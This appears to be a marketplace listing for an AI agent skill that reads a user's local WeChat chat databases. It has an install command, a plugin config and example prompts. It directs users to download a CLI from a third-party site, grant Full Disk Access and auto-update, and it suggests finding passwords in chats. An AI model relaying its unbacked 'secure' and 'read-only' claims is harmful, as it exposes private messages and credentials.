Read WeChat local data from SQLite databases. Supports listing contacts, chat sessions, searching messages, and viewing favorites. Use when the user needs to access their own WeChat data stored locally. Requires access to WeChat data directory. Read-only operations only.
Why use this skill?
Securely access and search your local WeChat SQLite data with OpenClaw. Query contacts, browse chat sessions, and find messages instantly while keeping your data strictly local.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/thiagoruss0/wechatt9y1What This Skill Does
The WeChat local data reader is a specialized utility for the OpenClaw AI agent, enabling users to securely query their local WeChat SQLite databases. This skill acts as a bridge between the AI and your private chat data, allowing you to search through historical messages, retrieve contact lists, review recent chat sessions, and access your favorites without leaving your local environment. It is designed for privacy-conscious users who want to leverage AI to summarize conversations, find buried information, or organize their digital communications without uploading sensitive content to a cloud server.
Installation
To utilize this skill, you must first install the OpenClawCLI. Visit https://openclawcli.vercel.app/ to download and configure the CLI for Windows or macOS. Once the CLI is ready, execute the installation command: clawhub install openclaw/skills/skills/thiagoruss0/wechatt9y1. Please note that for macOS, you may need to grant your terminal application 'Full Disk Access' via System Settings to permit the agent to read files within the protected ~/Library/Containers/com.tencent.xinWeChat/ directory.
Use Cases
- Information Retrieval: Quickly locate specific messages from the past, such as an address sent months ago or a password shared in a chat, without manual scrolling.
- Data Insights: Get a high-level overview of your social activity, including statistics on the number of contacts and message density.
- Content Management: Easily view saved favorites or organize recurring discussion topics by filtering through chat sessions.
- Memory Augmentation: Use the AI agent to summarize complex long-running group chats or extract actionable tasks from project-related conversations.
Example Prompts
- "Find the message where I talked about the trip to Japan last year and summarize the dates mentioned."
- "Who are the top five people I chat with the most based on the current session logs?"
- "Show me all my recent favorites related to 'coding' or 'programming' from my WeChat collection."
Tips & Limitations
To ensure the best experience, keep your WeChat application closed while the agent is running to prevent 'database is locked' errors caused by file access conflicts. The tool operates in a read-only mode, meaning it cannot modify or delete your data, ensuring your conversation history remains intact. Be aware that this skill does not support mobile (iOS/Android) databases directly, as it requires file-system access to the local storage files generated by the desktop version of WeChat. Always ensure you have sufficient permissions configured in your operating system to allow the terminal to read data files.
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-thiagoruss0-wechatt9y1": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-read
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